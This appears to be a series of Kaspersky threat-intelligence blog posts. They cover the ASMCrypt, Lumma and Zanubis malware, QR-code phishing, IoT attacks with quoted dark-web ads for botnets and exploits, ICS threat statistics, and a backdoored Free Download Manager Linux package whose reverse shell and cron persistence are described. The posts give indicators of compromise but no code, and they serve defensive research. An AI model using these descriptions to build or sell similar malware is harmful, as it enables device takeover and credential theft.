Kaspersky

Introduction

As long as cybercriminals want to make money, they’ll keep making malware, and as long as they keep making malware, we’ll keep analyzing it, publishing reports and providing protection. Last month we covered a wide range of cybercrime topics. For example, we published a private report on a new malware found on underground forums that we call ASMCrypt (related to the DoubleFinger loader). But there’s more going on in the cybercrime landscape, so we also published reports on new versions of the Lumma stealer and Zanubis Android banking trojan. This blog post contains excerpts from those reports.

If you want to learn more about our crimeware reporting service, please contact us at crimewareintel@kaspersky.com.

ASMCrypt

As mentioned in our previous blog post, we monitor many underground forums. On one of them we saw an ad, promoting a new cryptor/loader variant called ASMCrypt. The idea behind this type of malware is to load the final payload without the loading process or the payload itself being detected by AV/EDR, etc. This sounds a lot like the DoubleFinger loader we discussed here.

In fact, after careful analysis, we believe with a high degree of confidence that ASMCrypt is an evolved version of DoubleFinger. However, ASMCrypt works slightly differently and is more of a “front” for the actual service that runs on the TOR network.

So how does it work? First the buyer obtains the ASMCrypt binary, which connects to the malware’s backend service over the TOR network using hardcoded credentials. If everything is okay, the options menu is shown:

The buyer can choose from the following options:

• Stealth or invisible injection method;
• The process the payload should be injected into;
• Folder name for startup persistence;
• Stub type: either the malware itself masquerading as Apple QuickTime, or a legitimate application that sideloads the malicious DLL.

After selecting all the desired options and pressing the build button, the application creates an encrypted blob hidden inside a .png file. This image must be uploaded to an image hosting site. The malicious DLL (or binary) from the last bullet point above is also created and will be distributed by the cybercriminals.

When the malicious DLL is executed on a victim system, it downloads the .png file, decrypts it, loads it into memory and then executes it.

Lumma

The Arkei stealer, written in C++, first appeared in May 2018 and has been forked/rebranded several times over the last couple of years. It has been known as Vidar, Oski, Mars and now Lumma, which has a 46% overlap with Arkei. Over time, the main functionality of all the variants has remained the same: stealing cached files, configuration files and logs from crypto wallets. It can do this by acting as a browser plugin, but it also supports the standalone Binance application.

But first the infection vector. Lumma is distributed via a spoofed website that mimics a legitimate .docx to .pdf site. When a file is uploaded, it is returned with the double extension .pdf.exe.

Lumma itself first appeared on our radar in August 2022, when we detected new samples. Around the same time, cybersecurity enthusiast Fumik0_ tweeted that Lumma was a “fork/refactor” of Mars. Since then, Lumma has undergone a number of changes, some of which we will highlight below:

• We found only one sample (MD5 6b4c224c16e852bdc7ed2001597cde9d) that had the functionality to collect the system process list. The same sample also used a different URL to communicate with the C2 (/winsock instead of /socket.php);
• We also found one sample (MD5 844ab1b8a2db0242a20a6f3bbceedf6b) that appears to be a debugging version. When certain code fragments are reached, a notification is sent to the C2. Again, it uses a different URL (/windbg).
• In a more recent sample (MD5 a09daf5791d8fd4b5843cd38ae37cf97), the attackers changed the User-Agent field to “HTTP/1.1”. It is unclear why this was done;
• While all previous samples, including the three mentioned above, downloaded additional libraries from the C2 for 32-bit systems so that specific browser-related files (e.g. passwords and the like) could be parsed, MD5 5aac51312dfd99bf4e88be482f734c79 simply uploads the entire database to the C2;
• MD5 d1f506b59908e3389c83a3a8e8da3276 has a string encryption algorithm. They are now hex encoded and encrypted with an XOR key (first 4 bytes of the string).
• One of the biggest changes we saw involved MD5 c2a9151e0e9f4175e555cf90300b45c9. This sample supports dynamic configuration files retrieved from the C2. The configuration is Base64 encoded and XORed with the first 32 bytes of the configuration file.

Code snippet of the “debugging” sample

Zanubis

Zanubis, an Android banking trojan, first appeared around August 2022, targeting financial institution and cryptocurrency exchange users in Peru. Zanubis’s main infection path is through impersonating legitimate Peruvian Android applications and then tricking the user into enabling the Accessibility permissions in order to take full control of the device.

We spotted more recent samples of Zanubis  in the wild around April 2023. The malware was disguised as the official Android application for the Peruvian governmental organization SUNAT (Superintendencia Nacional de Aduanas y de Administración Tributaria). We explored the new design and features of the malware, which seemed to have undergone several phases of evolution to reach a new level of sophistication.

Zanubis is obfuscated with the help of Obfuscapk, a popular obfuscator for Android APK files. After the victim grants Accessibility permissions to the malicious app, thus allowing it to run in the background, the malware uses WebView to load a legitimate SUNAT website used for looking up debts. The intention here is to lead the unsuspecting user to believe that the app is part of the SUNAT ecosystem of services.

Communication with the C2 relies on WebSockets and the library called Socket.IO. The latter allows the malware to establish a persistent connection to the C2, which provides failover options (from WebSockets to HTTP and vice versa). Another advantage is that it provides the C2 with a scalable environment where all new infections by Zanubis can receive commands (also called events) on a massive scale from the C2 if required. Once the malware starts, the implant calls a function to check the connection to the C2. It establishes two connections to the same C2 server, but they perform different types of actions, and the second connection is established only if requested by the C2.

Intentionally, Zanubis doesn’t count with a pre-populated and hardcoded list of applications to target. In recent years, malware developers have tended to add or remove the names of applications from the target list. To set the targeted applications on the implant, the C2 sends the event config_packages. The JSON object sent with the event contains an array specifying the applications that the malware should monitor. The malware parses the list of targeted applications each time an event occurs on the screen, such as an app opening, which the malware detects using the onAccessibilityEvent function. Once an application on the list is found running on the device, Zanubis takes one of two actions, depending on its configuration, to steal the victim’s information: logging events/keys, or recording the screen.

Previously, we mentioned initializing the second connection from the infected device, which provides further options for the C2. After Zanubis establishes this new connection, it sends a VncInit event to the server to inform it that initialization of the second feature set is complete, and it will send information about screen rendering, such as the display size, every second. We can assume that this is a way for the operators to take control of, or backdoor, the infected phone.

An interesting feature in the second set is the bloqueoUpdate event. This is one of the most invasive – and persuasive – actions taken by the malware: it pretends to be an Android update, thus blocking the phone from being used. As the “update” runs, the phone remains unusable to the point that it can’t be locked or unlocked, as the malware monitors those attempts and blocks them.

Fake update locking the user out of the phone

According to our analysis, the targeted applications are banks and financial entities in Peru. This fact, in conjunction with our telemetry data, leads us to determine that Zanubis targets users in that country specifically. The list of targeted applications contains more than 40 package names. The samples of Zanubis collected to date are capable of infecting any Android phone, but they were all written with Spanish as the system language in mind.

Conclusion

Malware is constantly evolving, as is illustrated by the Lumma stealer, which has multiple variations with varying functionality. Zanubis also aspires to become a fully armed banking trojan that could inflict financial losses and steal the personal data of mobile users. This constant change in malicious code and cybercriminal TTPs is a challenge for defense teams. To protect itself, an organization must learn about new threats as soon as they emerge. Intelligence reports can help you stay on top of the latest malicious tools and attacker TTPs. If you’d like to stay up to date on the latest TTPs being used by criminals, or have questions about our private reports, please contact us at crimewareintel@kaspersky.com.

Indicators of compromise (MD5s)

Lumma
6b4c224c16e852bdc7ed2001597cde9d
844ab1b8a2db0242a20a6f3bbceedf6b
a09daf5791d8fd4b5843cd38ae37cf97
5aac51312dfd99bf4e88be482f734c79
d1f506b59908e3389c83a3a8e8da3276
c2a9151e0e9f4175e555cf90300b45c9

Zanubis

054061a4f0c37b0b353580f644eac554
a518eff78ae5a529dc044ed4bbd3c360
41d72de9df70205289c9ae8f3b4f0bcb
9b00a65f117756134fdb9f6ba4cef61d
8d99c2b7cf55cac1ba0035ae265c1ac5
248b2b76b5fb6e35c2d0a8657e080759
a2c115d38b500c5dfd80d6208368ff55

QR codes are everywhere: you can see them on posters and leaflets, ATM screens, price tags and merchandise, historical buildings and monuments. People use them to share information, promote various online resources, pay for their goodies, and pass verification. And yet you don’t see lots of QR codes in email: users often read messages on their phones without any other device handy for scanning. As such, most letters come with ordinary hyperlinks instead. Nevertheless, the attackers increasingly turn to QR codes delivered through email.

Unlike phishing links that are easy to check and block, QR code is a headache for security solutions. It takes costly and resource-heavy computer vision technology to analyze QR codes and find out what information they contain. Worse yet, while a regular link can be sorted out just by looking at it, with QR you cannot tell where it is going to take you until you scan it.

What is a QR code?

A QR code, or Quick Response code, is a 2D matrix bar code consisting of several squares and multiple dots (modules) arranged in a square pattern on a white background. QR codes can be scanned using an image processing device. It will first identify the code’s location by the squares and then read the information encoded in the dots. In addition to the actual code, the square field can accommodate decorative elements, such as a company logo.

QR codes allow to encode more data than 1D bar codes. They are often used to encode hyperlinks to various resources, such as a store catalog, a checkout page, or a building info page.

Malevolent uses of QR codes in email

Fraudsters use QR codes to encode links to phishing and scam pages. We registered the first attempts to use the trick for rogue email campaigns at the end of 2021. Those were scam messages imitating emails from delivery services, such as FedEx and DHL. The victims would be tricked into paying custom duties by scanning a QR code. The encoded link was redirecting to a fake bank card data entry page. The campaign was not very large scale and dwindled by around mid-2022. We observed new email campaigns featuring QR codes in the spring of 2023. Unlike the first one, these were after the logins and passwords of corporate users of Microsoft products.

The attackers were distributing messages advising their victims that their corporate email account passwords would soon expire. To preserve access to their accounts, the users were to scan a QR code. Some emails would come from free mail addresses, others, from domains registered recently. In some messages, the scammers added the Microsoft Security logo to the QR code to improve credibility.

Phishing email with a QR code

After receiving a phishing letter and scanning the code, the user would be redirected to a fake login page styled as a Microsoft sign-in page. As soon as the login and password were typed in, the attackers would gain access to the account.

Phishing form

In addition to messages urging users to change their password or update their personal data, we detected an undelivered email notification activity that also employed QR codes redirecting to a fake Microsoft account sign-in page.

The letter shown in the screenshot below has no QR code logo but features a “This email is from a trusted source” line to put users off their guard.

Undelivered email notification

Some pages you get to see on scanning a QR code reside on IPFS resources. We explained previously how and why scammers use this distributed file system.

Use of IPFS in QR phishing

Statistics

From June through August 2023, we detected 8,878 phishing emails containing QR codes. The malevolent activities peaked in June with 5,063 letters, reduced to 762 letters by August.

Trends in number of phishing emails with QR codes in June-August 2023 (download)

Takeaways

Scammers benefit from using QR codes in a number of ways. First, the codes allow them to avoid detection and blocking of their emails. It is not that easy to check a QR code content, and there are no phishing links in the message. Moreover, a letter cannot be blocked for merely having a QR code inside: even though not a popular email element, a QR code can be used in legitimate correspondence as well, for example, in the sender’s automatic signature. Secondly, since the messages contain no links, there is no need to register additional accounts or domains to redirect users and thus conceal phishing. Finally, most users scan QR codes using their smartphone cameras and prefer to have the problem sorted as quickly as possible. As a result, they may overlook the address line of the page they are being redirected to, as it is not very conspicuous in a mobile browser.

On the other hand, legitimate senders hardly ever use QR codes in their mailings, so the mere presence of a QR code in an email may trigger suspicion. Furthermore, scanning a QR code requires another device, and the user may not have one readily available. Currently, we do not observe many messaging campaigns based on QR codes. We assume there aren’t many recipients who actually scan codes. Nevertheless, considering how easily the mechanism can be employed, we can also expect such attacks to increase in the near term, the campaigns themselves becoming more sophisticated and tailored to specific targets.

IoT devices (routers, cameras, NAS boxes, and smart home components) multiply every year. Statista portal predicts their number will exceed 29 billion by 2030. As connected device numbers increase, so does the need for protection against various threats. The first-ever large-scale malware attacks on IoT devices were recorded back in 2008, and their number has only been growing ever since. We conducted an analysis of the IoT threat landscape for 2023, as well as the products and services offered on the dark web related to hacking connected devices. This report contains the key findings of our research.

Attack vectors

There are two main IoT infection routes: brute-forcing weak passwords and exploiting vulnerabilities in network services.

Telnet, the overwhelmingly popular unencrypted IoT text protocol, is the main target of brute-forcing. A successful password cracking enables hackers to execute arbitrary commands on a device and inject malware. Brute-force attacks on services that use SSH, a more advanced protocol that encrypts traffic, can yield similar outcomes. However, it takes more resources to attack SSH, while the number of services accessible online is smaller compared to Telnet.

In the first half of 2023, 97.91% of password brute-force attempts registered by our honeypots targeted Telnet, and only 2.09%, SSH. The majority of infected devices that carried out these attacks were traced to China, India, and the United States, while China, Pakistan, and Russia were the most actively attacking countries.

Ten countries and territories where most devices that attacked Kaspersky honeypots were located, H1 2023 (download)

Ten countries and territories where most attacks on Kaspersky honeypots came from, H1 2023 (download)

Brute-force attacks are fairly common as Telnet and SSH services running on IoT devices typically use widely known default passwords. Unfortunately, users tend to leave these passwords unchanged. As if that were not enough, many IoT devices have unalterable main passwords set by manufacturers.

Another way of compromising a device is by leveraging vulnerabilities in the services that run on it. Injecting malicious code into requests sent to the web interface is the most common way of exploiting vulnerabilities. The consequences of these attacks can be substantial, such as in the case of a vulnerability in the TR-064 protocol implementation used by ISPs to automate configuration of devices on the LAN. The security flaw enabled unauthenticated transmission of TR-064 packets, resulting in the proliferation of the Mirai malware.

Regardless of the compromising technique, IoT devices may come under attack both from malicious actors’ own servers and from malware through so-called self-spreading, whereby malicious files seek out vulnerable devices online and implant copies onto them through diverse means. In the latter scenario, the attack may also originate from an IoT device infected earlier.

Dark web services: DDoS attacks, botnets, and zero-day IoT vulnerabilities

Of all IoT-related services offered on the dark web, DDoS attacks are worth examining first. Botnets made up of IoT devices and utilized for distributed DoS attacks have become more prevalent on dark web forums and are in high demand among hackers.

See translation

I’m the world’s best-known DDoS attacker for hire (getting ahead of myself here). Not going to waffle — I’ll just tell you why it is my service you should choose.
Our advantages:
1. Botnet based on Medusa, working since 2020. Starts ~50 browser instances per Windows PC which evade any anti-DDoS defense.
10,000–80,000 online devices: the largest Windows or IoT botnet in 2023.

In the first half of 2023, Kaspersky Digital Footprint Intelligence service analysts discovered a total of more than 700 ads for DDoS attack services posted on various dark web forums.

DDoS ads distributed by month, H1 2023 (download)

The price of a service like that is driven by numerous factors that determine attack complexity, such as DDoS protection, CAPTCHA, and JavaScript verification on the victim’s side. The overall cost of an attack varies between $20 per day and $10,000 per month. The average price charged by those who posted the ads was $63.5 per day, or $1350 per month.

Another type of service sold on the dark web is IoT hacking. Cybercriminals seek exploits for zero-day vulnerabilities in IoT devices.

See translation

Will buy 0day/1day RCE in IoT
Escrow

See translation

Hi,
I want to buy IoT exploits with devices located in Korea
Any architecture

There are also offers to purchase and sell IoT malware on dark web forums, often packaged with infrastructure and supporting utilities. In the screenshot below, the vendor is offering a homebrew DDoS bot complete with a C2 server and software for uploading the malware via Telnet or SSH:

See translation

Selling Linux IoT bot. Tested, tried.
Comes with a manual and network startup kit.
What’s in the box:
C2 server
The bot
Telnet brute force
Telnet/SSH loader
Payload generator (one-line commands for installing the bot)
2 .sh scripts: utility and bot compilers
Bot compiles for several systems at once to support routers, etc.

As for the bot itself:
TCP/UDP flood (tcp – syn, ack, syn|ack, ack|psh, all)
If C2 down, will try to reconnect until successful
Optional signed commands in case C2 gets stolen
Command to kill all bots in the system
Autorun via /etc/init.d
Not a Mirai fork. C2 based on qBot
Price: $200

Below that, you can see a screenshot of an ad where the poster seeks both malware and help with installing it.

See translation

Looking for functional IoT botnets with brute force, etc. Working/updated mirai/qbot mod will work.
Also looking for help installing these

In some cases, sellers or buyers specify the target type of IoT device.

See translation

Buy IoT Botnet / IoT Miner
Will buy IoT botnet or miner. Custom-written or modified public.
Stable ping / miner profitability is what matters. After-purchase support is a plus =)
Key targets: webcams, routers.
Price: varies with features and detects. From $100 to […] First contact via PM.

Screenshot of an ad from the Kaspersky Threat Intelligence Portal stream

In rare instances, networks of pre-infected devices are also available for purchase on dark web forums. However, adverts of this nature are infrequent. For instance, the user in the screenshot below is searching for a new owner for a botnet of 200 routers and cameras located in Argentina.

See translation

Hey all! I have a tad over 200 iot devices in Argentina, mostly webcams and routers. I know the routers can be sold, but what about the webcams? Where do I find buyers? Found one while browsing forums, but they wouldn’t reply.

Objectives and types of malware that attacks the IoT

Bad actors who infect IoT devices may be pursuing diverse goals. They may be looking to exploit the infected hardware as a tool to launch cyberattacks, camouflage malicious traffic, leverage the resources of the devices for crypto mining, or demand a ransom to restore access to the device. Some may attack any IoT device, while others, only certain types of hardware that are capable of serving their objectives. Below, we provide an overview of purpose-specific types of IoT malware.

DDoS botnets

Trojans that hijack a device and use it to initiate DoS attacks targeting various services are the most frequently observed type of IoT malware. For DDoS malware, the targeted device type is irrelevant, as each device is capable of fulfilling the attacker’s goal: sending requests over the Web. Although most of these malicious programs stem from modified Mirai code, there are many other families that differ in their techniques for spreading and gaining persistence.

For example, RapperBot, although utilizing some portions of the Mirai code base, consists mostly of original code. Its capabilities include smart brute-forcing by analyzing the initial request for authentication data it receives from a Telnet service. The malware can use that request to identify the device type and proceed to brute-force passwords specific to that type only, thereby boosting its self-spreading performance.

Ransomware

Unlike DDoS malicious programs, ransomware largely targets IoT devices that contain user data: NAS boxes. DeadBolt, which affected thousands of QNAP NAS devices in 2022, is a prominent example of IoT ransomware. The attack took advantage of CVE-2022-27593, a vulnerability that allowed bad actors to modify system files on the box. User files were encrypted, with the device’s interface displaying a ransom note demanding payment of 0.03 BTC to recover the data. Although the manufacturer issued an update that resolved the vulnerability, similar attacks remain a concern.

Miners

Attackers made attempts at using IoT devices for Bitcoin mining during Mirai campaigns, despite their low processing power. The practice has not become widespread due to relative inefficiency.

DNS changer

Malicious actors may use IoT devices to target users who connect to them. A 2022 campaign known as Roaming Mantis, or Shaoye, spread an Android app whose capabilities included modifying DNS settings on Wi-Fi routers through the administration interface. Any router still using the default access credentials, like admin:admin, could be infected. On such a device, the configuration would be altered to make it use the operators’ DNS server. This server then redirects all users who connect to the router to a website that uploaded malicious APK files to Android devices and displayed phishing pages on iOS devices.

Proxy bots

Another widespread way of abusing infected IoT devices is to leverage them as proxy servers that redirect malicious traffic, making it difficult to track. These proxy servers are mostly employed for spam campaigns, evasion of antifraud systems, and various network attacks.

IoT malware: competition and persistence

IoT malware is notable for a huge diversity of families derived from Mirai, which was first discovered in 2016. The source code of Mirai was posted on a dark web forum, encouraging hundreds of modifications that appeared within a short time, using various DDoS techniques, brute-force dictionaries, and vulnerabilities leveraged for self-spreading.

The significant number of players resulted in fierce competition among cybercriminals: both those who specialized in DDoS attacks and those who targeted the IoT at large. Consequently, malware developers started to add features intended to neutralize competing products on the infected device and prevent further infection by competitors.

The most commonly used preemptive tactic is adding firewall rules that block incoming connection attempts. Less frequently, remote device management services will be shut down. Malware that arrives late to the party will search for certain process names, scan ports, and analyze the device memory for malicious patterns to suppress infections already present on the device. Processes associated with competitors will be terminated and files, deleted, as hackers vie for control over the device.

Other threats stemming from the lack of IoT device security

Attackers have shown interest in Web-connected video cameras, as evidenced in ads for buying and selling access to compromised IoT devices. Various ways exist to monetize Illicit access to webcams. Cameras may be hacked for their CPU power only, to mine crypto, or to install DDoS utilities. They can be made to serve as routers (proxies or VPN servers) to anonymize illicit traffic. Some hackers even use them as, well, web cameras.

An illustration of that is a recent incident involving a Moscow Oblast, Russia resident who found that private footage shot by a camera she had purchased on AliExpress to monitor her dog has somehow found its way onto some Chinese websites.

Security researcher Paul Marrapese who has studied the consumer webcam segment says security holes are not uncommon. Regrettably, vendors could have done a much better job fixing those. Paul has discovered critical vulnerabilities in the firmware and protocols of certain webcam models, and one of the vendors he contacted never even got back to him to discuss remediation.

It is worth mentioning that manufacturers of such cameras often employ various implementations of peer-to-peer (P2P) protocols, such as Shenzhen Yunni iLnkP2P or CS2 Network P2P, which they share with more than 50 million other devices. These protocols either poorly encrypt traffic or use no encryption at all, exposing devices to man-in-the-middle (MitM) attacks. An attacker can easily eavesdrop on device traffic and steal user credentials or redirect the video stream.

According to a study by Trend Micro, peeping into webcam owners’ private lives is anything but rare. However, it is worth noting that aside from cameras, a variety of other IoT devices may be used for snooping. For example, despite their primary function not being related to video surveillance, most smart pet feeders on the market can capture real-time audio and video footage. While their popularity is soaring and new models are coming out to fulfill rising demand, vendors often neglect to protect these devices properly. Our recent test of a popular smart feeder model exposed a massive number of security vulnerabilities. Exploiting these weaknesses enables the device to be used for spying on pet owners, in addition to creating other opportunities for hackers.

Kids’ smart devices are another category of IoT devices that calls for increased focus on security. Sadly, some vendors do not take this seriously. We witnessed the lack of security in these devices for the first time when a maker of smartwatches commissioned our Product Security Maturity Assessment using the IoT Security Maturity Model approach developed by the Industry IoT Сonsortium. The vendor failed the test as security issues that we found were bad enough to essentially convert the product into a surveillance tool for watching the kid and their surroundings. Therefore, we did not issue a certificate.

Issues of inadequate security plague both consumer and industrial IoT devices. The latter may also contain basic security flaws, and their vendor-recommended settings may be unsafe.

The most common configuration issue in industrial IoT devices is using default passwords. For example, one manufacturer of media converters used for connecting elevator equipment to control room monitoring systems supplied these along with highly unsafe connection and configuration tips in the service documentation. On top of that, our researchers found that the devices themselves contained vulnerabilities that could be exploited even by not-so-highly-skilled hackers to assume full control of the converter. The recommendations were later updated to remove the insecure settings. However, the device vendor, who initially showed promptness in fixing security issues, soon lost all of that responsible spirit. As a result, many of the vulnerabilities we discovered remain unpatched to this day, over a year after receiving the notice from us.

One might get the impression that we consider all IoT devices insecure and the vendors, neglectful of the culture of secure development. That is not quite so. As an example, Bosch has attained our product security maturity certificate for a smart camera intended for industrial applications. We would really like all vendors of IoT devices intended for both consumers and industrial users to prioritize the cybersecurity of their products as much as they can.

Conclusion

IoT devices attract hackers for many reasons: they can be used to carry out DDoS attacks, camouflage traffic, or snoop on owners through built-in webcams. Similarly, NAS boxes may be targeted by ransomware gangs, and routers, by malicious actors who are after devices that connect to those, including smartphones on public Wi-Fi networks or other devices on the victim’s LAN.

Besides relentlessly attacking the IoT, hackers offer their services on the dark web market. That said, most connected devices, including those in industrial environments, remain easy prey due to the use of default passwords and the presence of device vulnerabilities, some of which the vendors never get to fixing. Vendors of both home and industrial IoT devices should adopt a responsible approach to product cybersecurity and introduce protective measures at the product design phase. In particular, we recommend abandoning default passwords in favor of unique ones for each individual unit and releasing patches on a regular basis to address any discovered vulnerabilities.

Global threat statistics

In the first half of 2023, the percentage of ICS computers on which malicious objects were blocked decreased from H2 2022 by just 0.3 pp to 34%.

Percentage of ICS computers on which malicious objects were blocked, by half year

That said, he percentage of attacked ICS computers dropped in Q1 2023, but then rose again in Q2 2023, reaching highest quarterly figure since 2022 – 26.8%.

Percentage of ICS computers on which malicious objects were blocked, by quarter

Geography

The percentage of ICS computers on which malicious objects were blocked varied across countries from 53.3% in Ethiopia to 7.4% in Luxembourg.

The percentage of computers on which malicious activity was prevented varied across regions from 40.3% in Africa to 14.7% in Northern Europe.

Percentage of ICS computers on which malicious objects were blocked, by regions

Australia and New Zealand, the United States and Canada, Western Europe, and Northern Europe historically have had the lowest percentages of ICS computers on which malicious objects are blocked.

In H1 2023, however, those were the very regions where the percentages of attacked ICS computers increased by the most percentage points.

H1 2023 changes in the percentages of ICS computers on which malicious objects were blocked, by region

Africa and the Asian regions where the percentage of ICS computers on which malicious objects are blocked historically has been high, showed a downward trend.

Percentage of ICS computers on which malicious objects were blocked in Africa and regions of Asia

Individual industries

In H1 2023, the percentage of ICS computers on which malicious objects were blocked increased in engineering and ICS integration (by 2 pp), manufacture (by 1.9 pp) and energy (by 1.5 pp).

Percentage of ICS computers on which malicious objects were blocked in selected industries

Building automation is still the leader among the industries under review.

Categories of malicious objects

Only one of the categories grew in H1 2023: denylisted internet resources. The percentage of ICS computers on which threats in this category are blocked has grown for the second half-year in a row.

Percentage of ICS* computers on which the activity of malicious objects of various categories was prevented

The percentages of ICS computers on which Spyware, Malicious documents, Malicious miners in the form of Windows executables, Ransomware were blocked had been declining since mid-2022:

Percentage of ICS computers on which the activity of malicious objects of various categories was prevented

In H1 2023, the percentage of ICS computers on which these categories of threats were blocked, dropped in virtually every region.

Main threat sources

The internet, email clients and removable devices remained the key sources of threats to computers in the operational technology infrastructure of organizations.

Percentage of ICS computers on which malicious objects from various sources were blocked

The full report has been published on the Kaspersky ICS CERT website.

 

Over the last few years, Linux machines have become a more and more prominent target for all sorts of threat actors. According to our telemetry, 260,000 unique Linux samples appeared in the first half of 2023. As we will demonstrate in this article, campaigns targeting Linux can operate for years without being noticed by the cybersecurity community.

We discovered one such long-lasting attack when we decided to investigate a set of suspicious domains, among them:

• 2c9bf1811ff428ef9ec999cc7544b43950947b0f.u.fdmpkg[.]org
• c6d76b1748b67fbc21ab493281dd1c7a558e3047.u.fdmpkg[.]org
• 0727bedf5c1f85f58337798a63812aa986448473.u.fdmpkg[.]org
• c3a05f0dac05669765800471abc1fdaba15e3360.u.fdmpkg[.]org

To a security researcher’s eye, these domains look alarming, as they can be a sight of malware using domain-generation algorithms for C2 communications. We thus decided to take a close look at the fdmpkg[.]org domain.

A malicious Debian repository

We identified that the domain in question has a deb.fdmpkg[.]org subdomain. Going there in the browser shows the following web page:

As suggested by the page, this subdomain claims to host a Debian repository of a piece of software called ‘Free Download Manager’. We further discovered a Debian package of this software available for download from the https://deb.fdmpkg[.]org/freedownloadmanager.deb URL. This package turned out to contain an infected postinst script that is executed upon installation. This script drops two ELF files to the paths /var/tmp/crond and /var/tmp/bs. It then establishes persistence by creating a cron task (stored in the file /etc/cron.d/collect) that launches the /var/tmp/crond file every 10 minutes.

The version of Free Download Manager installed by the infected package was released on January 24, 2020. Meanwhile, the postinst script contains comments in Russian and Ukrainian, including information about improvements made to the malware, as well as activist statements. They mention the dates 20200126 (January 26, 2020) and 20200127 (January 27, 2020).

A DNS-based backdoor

Once the malicious package is installed, the executable /var/tmp/crond gets launched on every startup through cron. This executable is a backdoor, and it does not import any functions from external libraries. To access the Linux API, it invokes syscalls with the help of the statically linked dietlibc library.

Upon startup, this backdoor makes a type A DNS request for the <hex-encoded 20-byte string>.u.fdmpkg[.]org domain. In response to this request, the backdoor receives two IP addresses that encode the address and port of a secondary C2 server. The following addresses were returned at the time of our research:

• 172.111.48[.]101
• 172.1.0[.]80

The first IP address in the list above is the address of the secondary C2 server, while the second address contains the connection port (encoded in the third and fourth octets) and the connection type (encoded in the second octet).

After parsing the response of the DNS request, the backdoor launches a reverse shell, using the secondary C2 server for communications. The communication protocol is, depending on the connection type, either SSL or TCP. In the case of SSL, the crond backdoor launches the /var/tmp/bs executable and delegates all further communications to it. Otherwise, the reverse shell is created by the crond backdoor itself.

A Bash stealer

Having found out that the crond backdoor creates a reverse shell, we decided to check how this shell is used by attackers. To do that, we installed the infected Free Download Manager package in a malware analysis sandbox. Having analyzed the traffic generated by crond, we determined that the attackers deployed a Bash stealer to the sandbox. This stealer collects data such as system information, browsing history, saved passwords, cryptocurrency wallet files, as well as credentials for cloud services (AWS, Google Cloud, Oracle Cloud Infrastructure, Azure).

After collecting information from the infected machine, the stealer downloads an uploader binary from the C2 server, saving it to /var/tmp/atd. It then uses this binary to upload stealer execution results to the attackers’ infrastructure.

We did not observe any other activity performed via the reverse shell, and thus the whole infection chain can be described with the graph below:

Mystery of the infection vector

After analyzing all components in the chain, we wanted to find out how the infected Debian package was distributed to victims. We checked the official website of Free Download Manager (freedownloadmanager[.]org). Packages available for download from this website turned out to be hosted on the files2.freedownloadmanager[.]org domain, and they were not backdoored.

We then decided to conduct an open-source check on the fdmpkg[.]org domain. This check revealed a dozen posts on websites such as StackOverflow and Reddit, where users have been discussing problems caused by the infected Free Download Manager distribution, not realizing they actually became victims of malware. These posts were made over the course of three years – from 2020 to 2022.

In one such post on Unix Stack Exchange, the author complains about the message ‘Waiting for process: crond’ that prevents the computer from shutting down:

The responses to this post, which came from users dealing with the same problem, suggest that this issue is caused by the Free Download Manager software. They advise to remove the files /etc/cron.d/collect, /var/tmp/crond and /var/tmp/bs. However, none mention that these three files are malicious.

In another post created in 2020, a Reddit user asked whether it is OK to install Free Download Manager without running the postinst script, which, unbeknownst to the user, contained malware.

Moreover, the post author pasted the contents of the script, and another Reddit user pointed out in the comments that it may be malicious. However, these users did not identify the website distributing the infected package or find out what this script does.

We additionally found a post on Reddit mentioning that the official website of this software was distributing malware in 2015. However, the malware described in this post turned out to be unrelated to the campaign that we discovered.

All these posts on social networks made us think that the malicious Debian package could have been distributed via a supply chain attack, through the freedownloadmanager[.]org website. So, we decided to look for further facts that could prove or disprove this claim.

An unexpected redirection

While checking videos on Free Download Manager that are hosted on YouTube, we identified several tutorials demonstrating how to install this software on Linux machines. We observed the following actions that happen in all these videos:

• The video makers opened the legitimate website of Free Download Manager (freedownloadmanager[.]org) in the browser;
• They afterwards clicked on the Download button for the Linux version of the software;
• They were redirected to the malicious https://deb.fdmpkg[.]org/freedownloadmanager.deb URL that hosts the infected version of Free Download Manager.

We also noted that the redirection to the malicious deb.fdmpkg[.]org domain was not occuring in all cases. In another video posted within the same timeframe, , a user clicked on the ‘Download’ button hosted on the software website and ended up downloading Free Download Manager from the legitimate website.

Thus, it is possible that the malware developers scripted the malicious redirection to appear with some degree of probability or based on digital fingerprint of the potential victim.

We further inspected the legitimate Free Download Manager website, wanting to find out if the software developers were aware their website was potentially compromised. In one of the comments made on the software’s blog in 2021, a user complains about observing access to the 5d6167ef729c91662badef0950f795bf362cbb99.u.fdmpkg[.]org domain. A reply to this comment from the user ‘blogadmin’ says that Free Download Manager is not related to this domain and advises to make use only of official versions of the software:

However, nobody bothered to discover how this user ended up installing this suspicious version of Free Download Manager. As such, the official website of this software continued distributing the malicious Debian package until at least 2022.

Origins of the backdoor

Having established how the infected Free Download Manager package was distributed, we decided to check whether the implants discovered over the course of our research have code overlaps with other malware samples. It turned out that the crond backdoor represents a modified version of a backdoor called Bew. Kaspersky security solutions for Linux have been detecting its variants since 2013.

Code of the 2013 version of Bew (left, MD5: 96d8d47a579717223786498113fbb913) and the crond backdoor (right, MD5: 6ced2df96e1ef6b35f25ea0f208e5440)

The Bew backdoor has been analyzed multiple times, and one of its first descriptions was published in 2014. Additionally, in 2017, CERN posted information about the BusyWinman campaign that involved usage of Bew. According to CERN, Bew infections were carried out through drive-by downloads.

As for the stealer, its early version was described by Yoroi in 2019. It was used after exploitation of a vulnerability in the Exim mail server.

The Bash stealer described in 2019 (left, MD5: 8C7EFB0493B6FB805B2C2F0593DE0AB1) and the stealer used in the FDM campaign in 2022 (right, MD5: AD7F99D44931489B2C38DF7A5A166C4D)

Why wasn’t the malicious package discovered earlier?

The malware observed in this campaign has been known since 2013. In addition, the implants turned out to be quite noisy, as demonstrated by multiple posts on social networks. According to our telemetry, victims of this campaign are located all over the world, including Brazil, China, Saudi Arabia and Russia. Given these facts, it may seem paradoxical that the malicious Free Download Manager package remained undetected for more than three years.

We assess that this is due to the following factors:

• As opposed to Windows, Linux malware is much more rarely observed;
• Infections with the malicious Debian package occurred with a degree of probability: some users received the infected package, while others ended up downloading the benign one;
• Social network users discussing Free Download Manager issues did not suspect that they were caused by malware.

While the campaign is currently inactive, this case of Free Download Manager demonstrates that it can be quite difficult to detect ongoing cyberattacks on Linux machines with the naked eye. Thus, it is essential that Linux machines, both desktop and server, are equipped with reliable and efficient security solutions.

We additionally contacted the developers of Free Download Manager and notified them about this campaign. At the time of publishing this article, we had not received a response from them.

Indicators of Compromise

File checksums
